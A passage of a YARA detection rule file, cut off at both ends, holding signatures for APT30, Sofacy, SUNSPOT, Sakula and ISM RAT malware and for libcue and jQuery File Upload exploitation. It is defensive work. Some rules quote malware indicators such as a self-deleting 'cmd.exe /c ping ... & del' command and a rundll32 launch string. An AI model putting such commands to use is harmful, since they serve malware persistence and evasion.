		$s3 = "cmdLine.exe" fullword ascii
		$s4 = "Software\\Microsoft\\CurrentNetInf" fullword ascii
		$s5 = "/dizhi.gif" ascii
		$s6 = "/connect.gif" ascii
		$s7 = "USBTest.sys" fullword ascii
		$s8 = "/ver.htm" fullword ascii
		$s11 = "\\netscv.exe" ascii
		$s12 = "/app.htm" fullword ascii
		$s13 = "\\netsvc.exe" ascii
		$s14 = "/exe.htm" fullword ascii
		$s18 = "MicrosoftHaveAck" fullword ascii
		$s19 = "MicrosoftHaveExit" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and 7 of them
}

rule APT30_Sample_29
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "44492c53715d7c79895904543843a321491cb23a"
		id = "24334885-fcb4-5a13-82e8-c8465f97361e"

	strings:
		$s0 = "LSSAS.exe" fullword ascii
		$s1 = "Software\\Microsoft\\FlashDiskInf" fullword ascii
		$s2 = ".petite" fullword ascii
		$s3 = "MicrosoftFlashExit" fullword ascii
		$s4 = "MicrosoftFlashHaveExit" fullword ascii
		$s5 = "MicrosoftFlashHaveAck" fullword ascii
		$s6 = "\\driver32" ascii
		$s7 = "MicrosoftFlashZJ" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_30
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "3b684fa40b4f096e99fbf535962c7da5cf0b4528"
		id = "787b288a-6fb4-5483-af76-933651ec6d58"

	strings:
		$s0 = "5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)" fullword wide
		$s3 = "RnhwtxtkyLRRMf{jJ}ny" fullword ascii
		$s4 = "RnhwtxtkyLRRJ}ny" fullword ascii
		$s5 = "ZRLDownloadToFileA" fullword ascii
		$s9 = "5.1.2600.2180" fullword wide

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_31
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "8b4271167655787be1988574446125eae5043aca"
		id = "9333870b-7eaa-54dd-a801-7292708fb592"

	strings:
		$s0 = "\\ZJRsv.tem" ascii
		$s1 = "forceguest" fullword ascii
		$s4 = "\\$NtUninstallKB570317$" ascii
		$s8 = "[Can'tGetIP]" fullword ascii
		$s14 = "QWERTY:,`/" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_J
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash1 = "49aca228674651cba776be727bdb7e60"
		hash2 = "5c7a6b3d1b85fad17333e02608844703"
		hash3 = "649fa64127fef1305ba141dd58fb83a5"
		hash4 = "9982fd829c0048c8f89620691316763a"
		hash5 = "baff5262ae01a9217b10fcd5dad9d1d5"
		hash6 = "9982fd829c0048c8f89620691316763a"
		id = "64a5106e-d7f3-5c68-a14e-410149a1bb9e"

	strings:
		$s0 = "Launcher.EXE" fullword wide
		$s1 = "Symantec Security Technologies" fullword wide
		$s2 = "\\Symantec LiveUpdate.lnk" ascii
		$s3 = "Symantec Service Framework" fullword wide
		$s4 = "\\ccSvcHst.exe" ascii
		$s5 = "\\wssfmgr.exe" ascii
		$s6 = "Symantec Corporation" fullword wide
		$s7 = "\\5.1.0.29" ascii
		$s8 = "\\Engine" ascii
		$s9 = "Copyright (C) 2000-2010 Symantec Corporation. All rights reserved." fullword wide
		$s10 = "Symantec LiveUpdate" fullword ascii
		$s11 = "\\Norton360" ascii
		$s15 = "BinRes" fullword ascii
		$s16 = "\\readme.lz" ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Microfost
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "57169cb4b8ef7a0d7ebd7aa039d1a1efd6eb639e"
		id = "19231001-1da3-5be6-8275-03c9fc7c6377"

	strings:
		$s1 = "Copyright (c) 2007 Microfost All Rights Reserved" fullword wide
		$s2 = "Microfost" fullword wide

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_K
{
	meta:
		description = "FireEye APT30 Report Sample"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/03"
		modified = "2023-01-06"
		score = 75
		hash = "142bc01ad412799a7f9ffed994069fecbd5a2f93"
		id = "49629825-4233-5d74-b763-b2500536eb90"

	strings:
		$x1 = "Maybe a Encrypted Flash" fullword ascii
		$s0 = "C:\\Program Files\\Common Files\\System\\wab32" fullword ascii
		$s1 = "\\TEMP\\" ascii
		$s2 = "\\Temporary Internet Files\\" ascii
		$s5 = "%s Size:%u Bytes" fullword ascii
		$s7 = "$.DATA$" fullword ascii
		$s10 = "? Size:%u By s" fullword ascii
		$s12 = "Maybe a Encrypted Flash" fullword ascii
		$s14 = "Name:%-32s" fullword ascii
		$s15 = "NickName:%-32s" fullword ascii
		$s19 = "Email:%-32s" fullword ascii
		$s21 = "C:\\Prog" ascii
		$s22 = "$LDDATA$" ascii
		$s31 = "Copy File %s OK!" fullword ascii
		$s32 = "%s Space:%uM,FreeSpace:%uM" fullword ascii
		$s34 = "open=%s" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and ( all of ( $x* ) and 3 of ( $s* ) )
}

rule APT30_Sample_33
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "72c568ee2dd75406858c0294ccfcf86ad0e390e4"
		id = "be6afc4a-97fe-56ba-b057-e21415f9833d"

	strings:
		$s0 = "Version 4.7.3001" fullword wide
		$s1 = "msmsgr.exe" fullword wide
		$s2 = "MYUSER32.dll" fullword ascii
		$s3 = "MYADVAPI32.dll" fullword ascii
		$s4 = "CeleWare.NET1" fullword ascii
		$s6 = "MYMSVCRT.dll" fullword ascii
		$s7 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the" wide
		$s8 = "WWW.CeleWare.NET1" ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and 6 of them
}

rule APT30_Sample_34
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "216868edbcdd067bd2a9cce4f132d33ba9c0d818"
		id = "a4802e13-4151-5f17-ba91-dcf9ef6b52bb"

	strings:
		$s0 = "dizhi.gif" ascii
		$s1 = "eagles.vip.nse" ascii
		$s4 = "o%S:S0" ascii
		$s5 = "la/4.0" ascii
		$s6 = "s#!<4!2>s02==<'s1" ascii
		$s7 = "HlobalAl" ascii
		$s9 = "vcMicrosoftHaveAck7" ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_35
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "df48a7cd6c4a8f78f5847bad3776abc0458499a6"
		id = "8a30720b-06da-5a82-8bab-bf06121afd68"

	strings:
		$s0 = "WhBoyIEXPLORE.EXE.exe" fullword ascii
		$s5 = "Startup>A" fullword ascii
		$s18 = "olhelp32Snapshot" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_1
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "8cea83299af8f5ec6c278247e649c9d91d4cf3bc"
		id = "e5dd6bc9-9383-5d48-92df-709996373655"

	strings:
		$s0 = "#hostid" fullword ascii
		$s1 = "\\Windows\\C" ascii
		$s5 = "TimUmove" fullword ascii
		$s6 = "Moziea/4.0 (c" fullword ascii
		$s7 = "StartupNA" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_1
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		super_rule = 1
		hash0 = "aaa5c64200ff0818c56ebe4c88bcc1143216c536"
		hash1 = "cb4263cab467845dae9fae427e3bbeb31c6a14c2"
		hash2 = "b69b95db8a55a050d6d6c0cba13d73975b8219ca"
		hash3 = "5c29e21bbe8873778f9363258f5e570dddcadeb9"
		hash4 = "d5cb07d178963f2dea2c754d261185ecc94e09d6"
		hash5 = "626dcdd7357e1f8329e9137d0f9883f57ec5c163"
		hash6 = "843997b36ed80d3aeea3c822cb5dc446b6bfa7b9"
		id = "4d21f402-24da-5e38-9225-a1461e61802f"

	strings:
		$s0 = "%s\\%s.txt" fullword
		$s1 = "\\ldsysinfo.txt"
		$s4 = "(Extended Wansung)" fullword
		$s6 = "Computer Name:" fullword
		$s7 = "%s %uKB %04u-%02u-%02u %02u:%02u" fullword
		$s8 = "ASSAMESE" fullword
		$s9 = "BELARUSIAN" fullword
		$s10 = "(PR China)" fullword
		$s14 = "(French)" fullword
		$s15 = "AdvancedServer" fullword
		$s16 = "DataCenterServer" fullword
		$s18 = "(Finland)" fullword
		$s19 = "%s %04u-%02u-%02u %02u:%02u" fullword
		$s20 = "(Chile)" fullword

	condition:
		filesize < 250KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_2
{
	meta:
		description = "FireEye APT30 Report Sample - from many files"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		super_rule = 1
		hash0 = "aba8b9fa213e5e2f1f0404d13fecc20ea8651b57"
		hash1 = "7f11f5c9475240e5dd2eea7726c9229972cffc1f"
		hash2 = "94d3f91d1e50ecea729617729013c3d143bf2c3e"
		hash3 = "7e516ec04f28c76d67b8111ddfe58bbd628362cc"
		hash4 = "6b27bc0b0460b0a25b45d897ed4f399106c284d9"
		hash5 = "6df5b4b3da0964153bad22fb1f69483ae8316655"
		hash6 = "b68bce61dfd8763c3003480ba4066b3cb1ef126e"
		hash7 = "cc124682246d098740cfa7d20aede850d49b6597"
		hash8 = "1ef415bca310575944934fc97b0aa720943ba512"
		hash9 = "0559ab9356dcc869da18b2c96f48b76478c472b3"
		hash10 = "f15272042a4f9324ad5de884bd50f4072f4bdde3"
		hash11 = "1d93d5f5463cdf85e3c22c56ed1381957f4efaac"
		hash12 = "b6f1fb0f8a2fb92a3c60e154f24cfbca1984529f"
		hash13 = "9967a99a1b627ddb6899919e32a0f544ea498b48"
		hash14 = "95a3c812ca0ad104f045b26c483495129bcf37ca"
		hash15 = "bde9a72b2113d18b4fa537cc080d8d8ba1a231e8"
		hash16 = "ce1f53e06feab1e92f07ed544c288bf39c6fce19"
		hash17 = "72dae031d885dbf492c0232dd1c792ab4785a2dc"
		hash18 = "a2ccba46e40d0fb0dd3e1dba160ecbb5440862ec"
		hash19 = "c8007b59b2d495029cdf5b7b8fc8a5a1f7aa7611"
		hash20 = "9c6f470e2f326a055065b2501077c89f748db763"
		hash21 = "af3e232559ef69bdf2ee9cd96434dcec58afbe5a"
		hash22 = "e72e67ba32946c2702b7662c510cc1242cffe802"
		hash23 = "8fc0b1618b61dce5f18eba01809301cb7f021b35"
		hash24 = "6a8159da055dac928ba7c98ea1cdbe6dfb4a3c22"
		hash25 = "47463412daf0b0a410d3ccbb7ea294db5ff42311"
		hash26 = "e6efa0ccfddda7d7d689efeb28894c04ebc72be2"
		hash27 = "43a3fc9a4fee43252e9a570492e4efe33043e710"
		hash28 = "7406ebef11ca9f97c101b37f417901c70ab514b1"
		hash29 = "53ed9b22084f89b4b595938e320f20efe65e0409"
		id = "60d7d661-50e8-5a9b-8366-eda8ff8ad9d4"

	strings:
		$s0 = "%s\\%s\\KB985109.log" fullword
		$s1 = "%s\\%s\\KB989109.log" fullword
		$s2 = "Opera.exe" fullword wide
		$s3 = "%s:All online success on %u!" fullword
		$s4 = "%s:list online success on %u!" fullword
		$s5 = "%s:All online fail!" fullword
		$s6 = "Copyright Opera Software 1995-" wide
		$s7 = "%s:list online fail!" fullword
		$s8 = "OnlineTmp.txt" fullword
		$s9 = "Opera Internet Browser" fullword wide
		$s12 = "Opera Software" fullword wide
		$s15 = "Check lan have done!!!" fullword
		$s16 = "List End." fullword

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_4
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		super_rule = 1
		hash0 = "bb390f99bfde234bbed59f6a0d962ba874b2396c"
		hash1 = "b47e20ac5889700438dc241f28f4e224070810d2"
		hash2 = "a9a50673ac000a313f3ddba55d63d9773b9f4143"
		hash3 = "ac96d7f5957aef09bd983465c497de24c6d17a92"
		id = "2b246ae2-ec7d-5813-913e-729e4192da59"

	strings:
		$s0 = "del NetEagle_Scout.bat" fullword
		$s1 = "NetEagle_Scout.bat" fullword
		$s2 = "\\visit.exe"
		$s3 = "\\System.exe"
		$s4 = "\\System.dat"
		$s5 = "\\ieupdate.exe"
		$s6 = "GOTO ERROR" fullword
		$s7 = ":ERROR" fullword
		$s9 = "IF EXIST " fullword
		$s10 = "ioiocn" fullword
		$s11 = "SetFileAttribute" fullword
		$s12 = "le_0*^il" fullword
		$s13 = "le_.*^il" fullword
		$s14 = "le_-*^il" fullword

	condition:
		filesize < 250KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_5
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		super_rule = 1
		hash0 = "cb4833220c508182c0ccd4e0d5a867d6c4e675f8"
		hash1 = "dfc9a87df2d585c479ab02602133934b055d156f"
		hash2 = "bf59d5ff7d38ec5ffb91296e002e8742baf24db5"
		id = "e00a670e-cd95-515f-8109-219ce5121ba4"

	strings:
		$s0 = "regsvr32 /s \"%ProgramFiles%\\Norton360\\Engine\\5.1.0.29\\ashelper.dll\"" fullword
		$s1 = "name=\"ftpserver.exe\"/>" fullword
		$s2 = "LiveUpdate.EXE" fullword wide
		$s3 = "<description>FTP Explorer</description>" fullword
		$s4 = "\\ashelper.dll"
		$s5 = "LiveUpdate" fullword wide

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_6
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		super_rule = 1
		hash0 = "b9aafb575d3d1732cb8fdca5ea226cebf86ea3c9"
		hash1 = "2c5e347083b77c9ead9e75d41e2fabe096460bba"
		hash2 = "5d39a567b50c74c4a921b5f65713f78023099933"
		id = "dfd104bd-daf4-593a-b161-61f43aec048c"

	strings:
		$s0 = "GetStar" fullword
		$s1 = ".rdUaS" fullword
		$s2 = "%sOTwp/&A\\L" fullword
		$s3 = "a Encrt% Flash Disk" fullword
		$s4 = "ypeAutoRuChec" fullword
		$s5 = "NoDriveT" fullword

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_7
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		super_rule = 1
		hash0 = "2415f661046fdbe3eea8cd276b6f13354019b1a6"
		hash1 = "e814914079af78d9f1b71000fee3c29d31d9b586"
		hash2 = "0263de239ccef669c47399856d481e3361408e90"
		id = "bba40092-267b-5231-92f1-f222c9f888ee"

	strings:
		$s1 = "Xjapor_*ata" fullword
		$s2 = "Xjapor_o*ata" fullword
		$s4 = "Ouopai" fullword

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_8
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		super_rule = 1
		hash0 = "b47e20ac5889700438dc241f28f4e224070810d2"
		hash1 = "a9a50673ac000a313f3ddba55d63d9773b9f4143"
		hash2 = "ac96d7f5957aef09bd983465c497de24c6d17a92"
		id = "a6845222-0a3e-5327-a448-36e8d54362a5"

	strings:
		$s0 = "Windows NT4.0" fullword
		$s1 = "Windows NT3.51" fullword
		$s2 = "%d;%d;%d;%ld;%ld;%ld;" fullword
		$s3 = "%s %d.%d Build%d %s" fullword
		$s4 = "MSAFD Tcpip [TCP/IP]" fullword
		$s5 = "SQSRSS" fullword
		$s8 = "WM_COMP" fullword
		$s9 = "WM_MBU" fullword
		$s11 = "WM_GRID" fullword
		$s12 = "WM_RBU" fullword

	condition:
		filesize < 250KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_9
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		super_rule = 1
		hash0 = "00d9949832dc3533592c2ce06a403ef19deddce9"
		hash1 = "27a2b981d4c0bb8c3628bfe990db4619ddfdff74"
		hash2 = "05f66492c163ec2a24c6a87c7a43028c5f632437"
		hash3 = "263f094da3f64e72ef8dc3d02be4fb33de1fdb96"
		id = "cf259f8d-e0a9-579d-93e7-ec14d99faf81"

	strings:
		$s0 = "%s\\%s\\$NtRecDoc$" fullword
		$s1 = "%s(%u)%s" fullword
		$s2 = "http://%s%s%s" fullword
		$s3 = "1.9.1.17" fullword wide
		$s4 = "(C)Firefox and Mozilla Developers, according to the MPL 1.1/GPL 2.0/LGPL" wide

	condition:
		filesize < 250KB and uint16( 0 ) == 0x5A4D and all of them
}

rule Sofacy_Jun16_Sample1
{
	meta:
		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/mzAa97"
		date = "2016-06-14"
		score = 85
		hash1 = "be1cfa10fcf2668ae01b98579b345ebe87dab77b6b1581c368d1aba9fd2f10a0"
		id = "62b577e3-7ccb-59df-a944-96ffe9b16d3d"

	strings:
		$s1 = "clconfg.dll" fullword ascii
		$s2 = "ASijnoKGszdpodPPiaoaghj8127391" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and ( 1 of ( $s* ) ) ) or ( all of them )
}

rule Sofacy_Jun16_Sample2
{
	meta:
		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/mzAa97"
		date = "2016-06-14"
		score = 85
		hash1 = "57d230ddaf92e2d0504e5bb12abf52062114fb8980c5ecc413116b1d6ffedf1b"
		hash2 = "69940a20ab9abb31a03fcefe6de92a16ed474bbdff3288498851afc12a834261"
		hash3 = "aeeab3272a2ed2157ebf67f74c00fafc787a2b9bbaa17a03be1e23d4cb273632"
		id = "21561e13-a190-565e-a08b-e6a07c84c3db"

	strings:
		$x1 = "DGMNOEP" fullword ascii
		$x2 = "/%s%s%s/?%s=" fullword ascii
		$s1 = "Control Panel\\Dehttps=https://%snetwork.proxy.ht2" fullword ascii
		$s2 = "http=http://%s:%Control Panel\\Denetwork.proxy.ht&ol1mS9" fullword ascii
		$s3 = "svchost.dll" fullword wide
		$s4 = "clconfig.dll" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and ( all of ( $x* ) ) ) or ( 3 of them )
}

rule Sofacy_Jun16_Sample3
{
	meta:
		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/mzAa97"
		date = "2016-06-14"
		score = 85
		hash1 = "c2551c4e6521ac72982cb952503a2e6f016356e02ee31dea36c713141d4f3785"
		id = "f97bc840-0d9a-5a9e-9e13-7b7f8acc53a5"

	strings:
		$s1 = "ASLIiasiuqpssuqkl713h" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and $s1
}

rule CrowdStrike_SUNSPOT_01 : artifact stellarparticle sunspot
{
	meta:
		author = "(c) 2021 CrowdStrike Inc."
		description = "Detects RC4 and AES key encryption material in SUNSPOT"
		reference = "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/"
		version = "202101081448"
		date = "2021-01-08"
		actor = "StellarParticle"
		malware_family = "SUNSPOT"
		id = "2a2a5cfc-d059-5942-bd70-c3169e9ceb45"

	strings:
		$key = {fc f3 2a 83 e5 f6 d0 24 a6 bf ce 88 30 c2 48 e7}
		$iv = {81 8c 85 49 b9 00 06 78 0b e9 63 60 26 64 b2 da}

	condition:
		all of them and filesize < 32MB
}

rule CrowdStrike_SUNSPOT_02 : artifact stellarparticle sunspot
{
	meta:
		copyright = "(c) 2021 CrowdStrike Inc."
		description = "Detects mutex names in SUNSPOT"
		version = "202101081448"
		date = "2021-01-08"
		actor = "StellarParticle"
		malware_family = "SUNSPOT"
		reference = "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/"
		id = "9ecb89e6-475b-5961-8a67-136a0274e1c7"

	strings:
		$mutex_01 = "{12d61a41-4b74-7610-a4d8-3028d2f56395}" wide ascii
		$mutex_02 = "{56331e4d-76a3-0390-a7ee-567adf5836b7}" wide ascii

	condition:
		any of them and filesize < 10MB
}

rule CrowdStrike_SUNSPOT_03 : artifact logging stellarparticle sunspot
{
	meta:
		copyright = "(c) 2021 CrowdStrike Inc."
		description = "Detects log format lines in SUNSPOT"
		version = "202101081443"
		last_modified = "2021-01-08"
		actor = "StellarParticle"
		malware_family = "SUNSPOT"
		id = "5535163e-a85a-587d-bb6e-083783f915c9"

	strings:
		$s01 = "[ERROR] ***Step1('%ls','%ls') fails with error %#x***\x0A" ascii
		$s02 = "[ERROR] Step2 fails\x0A" ascii
		$s03 = "[ERROR] Step3 fails\x0A" ascii
		$s04 = "[ERROR] Step4('%ls') fails\x0A" ascii
		$s05 = "[ERROR] Step5('%ls') fails\x0A" ascii
		$s06 = "[ERROR] Step6('%ls') fails\x0A" ascii
		$s07 = "[ERROR] Step7 fails\x0A" ascii
		$s08 = "[ERROR] Step8 fails\x0A" ascii
		$s09 = "[ERROR] Step9('%ls') fails\x0A" ascii
		$s10 = "[ERROR] Step10('%ls','%ls') fails with error %#x\x0A" ascii
		$s11 = "[ERROR] Step11('%ls') fails\x0A" ascii
		$s12 = "[ERROR] Step12('%ls','%ls') fails with error %#x\x0A" ascii
		$s13 = "[ERROR] Step30 fails\x0A" ascii
		$s14 = "[ERROR] Step14 fails with error %#x\x0A" ascii
		$s15 = "[ERROR] Step15 fails\x0A" ascii
		$s16 = "[ERROR] Step16 fails\x0A" ascii
		$s17 = "[%d] Step17 fails with error %#x\x0A" ascii
		$s18 = "[%d] Step18 fails with error %#x\x0A" ascii
		$s19 = "[ERROR] Step19 fails with error %#x\x0A" ascii
		$s20 = "[ERROR] Step20 fails\x0A" ascii
		$s21 = "[ERROR] Step21(%d,%s,%d) fails\x0A" ascii
		$s22 = "[ERROR] Step22 fails with error %#x\x0A" ascii
		$s23 = "[ERROR] Step23 fails with error %#x\x0A" ascii
		$s24 = "[%d] Solution directory: %ls\x0A" ascii
		$s25 = "[%d] %04d-%02d-%02d %02d:%02d:%02d:%03d %ls\x0A" ascii
		$s26 = "[%d] + '%s' " ascii

	condition:
		2 of them and filesize < 10MB
}

rule SUSP_EXPL_LIBCUE_CVE_2023_43641_Oct23_1
{
	meta:
		author = "Florian Roth"
		description = "Detects a suspicious .cue file that could be an exploitation attempt of libcue vulnerability CVE-2023-43641"
		reference = "https://github.com/github/securitylab/blob/main/SecurityExploits/libcue/track_set_index_CVE-2023-43641/README.md"
		date = "2023-10-27"
		score = 70
		id = "34fcf80c-adcd-55c0-9fb4-261d20f61fa6"

	strings:
		$a1 = "TRACK "
		$a2 = "FILE "
		$s1 = "INDEX 4294"

	condition:
		filesize < 100KB and all of them
}

rule VUL_JQuery_FileUpload_CVE_2018_9206
{
	meta:
		description = "Detects JQuery File Upload vulnerability CVE-2018-9206"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.zdnet.com/article/zero-day-in-popular-jquery-plugin-actively-exploited-for-at-least-three-years/"
		reference2 = "https://github.com/blueimp/jQuery-File-Upload/commit/aeb47e51c67df8a504b7726595576c1c66b5dc2f"
		reference3 = "https://blogs.akamai.com/sitr/2018/10/having-the-security-rug-pulled-out-from-under-you.html"
		date = "2018-10-19"
		id = "20bac44c-0e5a-5561-9fd8-a71cd2d8590a"

	strings:
		$s1 = "error_reporting(E_ALL | E_STRICT);" fullword ascii
		$s2 = "require('UploadHandler.php');" fullword ascii
		$s3 = "$upload_handler = new UploadHandler();" fullword ascii

	condition:
		all of them
}

rule Trojan_ISMRAT_gen
{
	meta:
		description = "ISM RAT"
		author = "Ahmed Zaki"
		reference = "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2017/february/ism-rat/"
		hash1 = "146a112cb01cd4b8e06d36304f6bdf7b"
		hash2 = "fa3dbe37108b752c38bf5870b5862ce5"
		hash3 = "bf4b07c7b4a4504c4192bd68476d63b5"
		id = "e72241ce-d6ee-5cb7-a83d-157161938d83"

	strings:
		$s1 = "WinHTTP Example/1.0" wide
		$s2 = "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0" wide
		$s3 = "|||Command executed successfully"
		$dir = /Microsoft\\Windows\\Tmpe[a-z0-9]{2,8}/

	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule malware_sakula_xorloop
{
	meta:
		description = "XOR loops from Sakula malware"
		author = "David Cannings"
		md5 = "fc6497fe708dbda9355139721b6181e7"
		date = "2016-06-13"
		modified = "2023-01-27"
		id = "9349b7e4-560c-5d8b-94d9-cbb9fd09e132"

	strings:
		$opcodes_decode_loop01 = { 31 C0 8A 04 0B 3C 00 74 09 38 D0 74 05 30 D0 88 04 0B }
		$opcodes_decode_loop02 = { 8B 45 08 8D 0C 02 8A 01 84 C0 74 08 3C ?? 74 04 34 ?? 88 01 }

	condition:
		uint16( 0 ) == 0x5A4D and any of ( $opcodes* )
}

rule malware_sakula_memory
{
	meta:
		description = "Sakula malware - strings after unpacking (memory rule)"
		author = "David Cannings"
		md5 = "b3852b9e7f2b8954be447121bb6b65c3"
		id = "328e3707-d11d-5b7f-bec4-18a42a2c658b"

	strings:
		$str01 = "cmd.exe /c ping 127.0.0.1 & del \"%s\""
		$str02 = "cmd.exe /c rundll32 \"%s\" Play \"%s\""
		$str03 = "Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.1;+SV1)"
